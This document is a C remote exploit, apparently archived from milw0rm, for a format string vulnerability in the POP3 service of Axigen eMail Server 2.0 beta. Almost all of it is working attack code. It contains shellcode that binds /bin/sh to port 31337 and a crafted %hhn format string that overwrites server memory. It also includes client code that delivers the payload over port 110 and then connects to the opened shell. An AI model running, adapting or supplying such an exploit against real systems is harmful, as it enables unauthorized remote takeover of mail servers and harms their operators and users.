Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit



/* axiagen.c

 *
 * Axigen eMail Server v2.0 (beta)
 *     by fuGich Tue Dec 5 2006
 *
 *         thanks to mu-b
 *
 * - Tested on: Axigen V2 (beta)
 *
 *   logType for the pop3 service must be "system" and 
 *   the logLevel set to any number with 4th bit set
 *
 * remote shell format string vulnerability in pop3
 *     /bin/sh to bind to port 31337
 *
 * optimised format string generated with libforSC
 * used hhn for writes, could have been hn's but this was small enough and reduces size of log entry generated
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>


#define DEF_PORT    110
#define PORT_POP3   DEF_PORT


char formatString[] =
    
    // plt fixup code

    "\xba\xd8\xbe\x85\x09"        // mov    $0x985bed8,%edx
    "\xc7\x02\x9a\xf0\x04\x08"    // movl   $0x804f09a,(%edx)
    "\x8d\x52\x04"            // lea    0x4(%edx),%edx
    "\xc6\x02\xaa"            // movb   $0xaa,(%edx)
    "\x90\x90\x90"            // make divisible by 8
    
    //
    // bind shell with fork to port 31337 98 bytes
    //

    "\x6a\x66"              // push $0x66 
    "\x58"                  // pop %eax 
    "\x99"                  // cltd 
    "\x6a\x01"              // push $0x1 
    "\x5b"                  // pop %ebx 
    "\x52"                  // push %edx 
    "\x53"                  // push %ebx 
    "\x6a\x02"              // push $0x2 

    //
    // <_doint>:
    //

    "\x89\xe1"              // mov %esp,%ecx 
    "\xcd\x80"              // int $0x80 

    "\x5b"                  // pop %ebx 
    "\x5d"                  // pop %ebp 
    "\x52"                  // push %edx 
    "\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
    "\x0f\xcd"              // bswap %ebp 
    "\x09\xdd"              // or %ebx,%ebp 
    "\x55"                  // push %ebp 
    "\x6a\x10"              // push $0x10 
    "\x51"                  // push %ecx 
    "\x50"                  // push %eax 
    "\x89\xe1"              // mov %esp,%ecx 
    "\xb0\x66"              // mov $0x66,%al 
    "\xcd\x80"              // int $0x80 
    "\xb3\x04"              // mov $0x4,%bl 
    "\xb0\x66"              // mov $0x66,%al 
    "\xcd\x80"              // int $0x80 

    //
    // <_acceptloop>:
    //

    "\x5f"                  // pop %edi 
    "\x50"                  // push %eax 
    "\x50"                  // push %eax 
    "\x57"                  // push %edi 
    "\x89\xe1"              // mov %esp,%ecx 
    "\x43"                  // inc %ebx 
    "\xb0\x66"              // mov $0x66,%al 
    "\xcd\x80"              // int $0x80 
    "\x93"                  // xchg %eax,%ebx 
    "\xb0\x02"              // mov $0x2,%al 
    "\xcd\x80"              // int $0x80 
    "\x85\xc0"              // test %eax,%eax 
    "\x75\x1a"              // jne <_parent> 
    "\x59"                  // pop %ecx 

    //
    // <_dup2loop>:
    //

    "\xb0\x3f"              // mov $0x3f,%al 
    "\xcd\x80"              // int $0x80 
    "\x49"                  // dec %ecx 
    "\x79\xf9"              // jns <_dup2loop> 

    "\xb0\x0b"              // mov $0xb,%al 
    "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
    "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
    "\x89\xe3"              // mov %esp,%ebx 
    "\x52"                  // push %edx 
    "\x53"                  // push %ebx 
    "\xeb\xb2"              // jmp <_doint> 

    //
    // <_parent>:
    //

    "\x6a\x06"              // push $0x6 
    "\x58"                  // pop %eax 
    "\xcd\x80"              // int $0x80 
    "\xb3\x04"              // mov $0x4,%bl 
    "\xeb\xc9"              // jmp <_acceptloop>

    //
    // 9 write addresses
    //

    "\xd8\xbe\x85\x09"    // pointer @ 0x0985bed8
    "\xd9\xbe\x85\x09"
    "\xda\xbe\x85\x09"
    "\xdb\xbe\x85\x09"
    "\xe0\xbe\x85\x09"    // place shell code @ 0x0985bee0
    "\xe1\xbe\x85\x09"
    "\xe2\xbe\x85\x09"
    "\xe3\xbe\x85\x09"
    "\xe4\xbe\x85\x09"

    // add the format string

    "%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n";


static int sock_send (int sock, u_char * src, int len);
static void formatme (u_char * host);
static int sockami (u_char * host, int port);
void shell (int sock);

void shell (int sock){        /* Attach to Remote Shell */

    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);
        select (sock + 1, &rfds, NULL, NULL, NULL);
        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                printf("\n - Connection closed by local user\n");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }
        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l == 0) {
                printf ("\n - Connection closed by remote host.\n");
                exit (EXIT_FAILURE);
            } else if (l < 0) {
                printf ("\n - Read failure\n");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

static int sock_send (int sock, u_char * src, int len){        /* send data to the open socket */

    int sbytes;
    sbytes = send (sock, src, len, 0);
    return (sbytes);
}

static int sockami (u_char * host, int port){    /* create the socket */

    struct sockaddr_in address;
    struct hostent *hp;
    int sock;

    fflush (stdout);
    if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){
        perror ("socket()");
        exit (-1);
    }

    if ((hp = gethostbyname (host)) == NULL){
        perror ("gethostbyname()");
        exit (-1);
    }

    memset (&address, 0, sizeof (address));
    memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
    address.sin_family = AF_INET;
    address.sin_port = htons (port);

    if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1){
        perror ("connect()");
        exit (EXIT_FAILURE);
    }
    return (sock);
}

static void formatme (u_char * host){    /* do the evil */

    int sock;
    printf ("+Connecting to %s:%d ", host, PORT_POP3);    
    sock = sockami (host, PORT_POP3);
    printf ("\n+Sending format string\n");
    sock_send (sock, formatString, strlen (formatString));
    fflush (stdout);
    sleep(2);    
    printf ("+Connecting to Shell ");    
    sock = sockami (host, 31337);
    printf ("- Done\n");
    shell(sock);

}

int main (int argc, char **argv){    /* go figure */

    printf ("Axigen 2.0 beta Remote pop3 exploit\n"
        "by: <fuGich@gmail.com>\n\n");

    if (argc <= 1)
    {
        fprintf (stderr, "Usage: %s <host>\n\n", argv[0]);
        exit (EXIT_SUCCESS);
    }

    formatme (argv[1]);
}

// milw0rm.com [2007-02-18]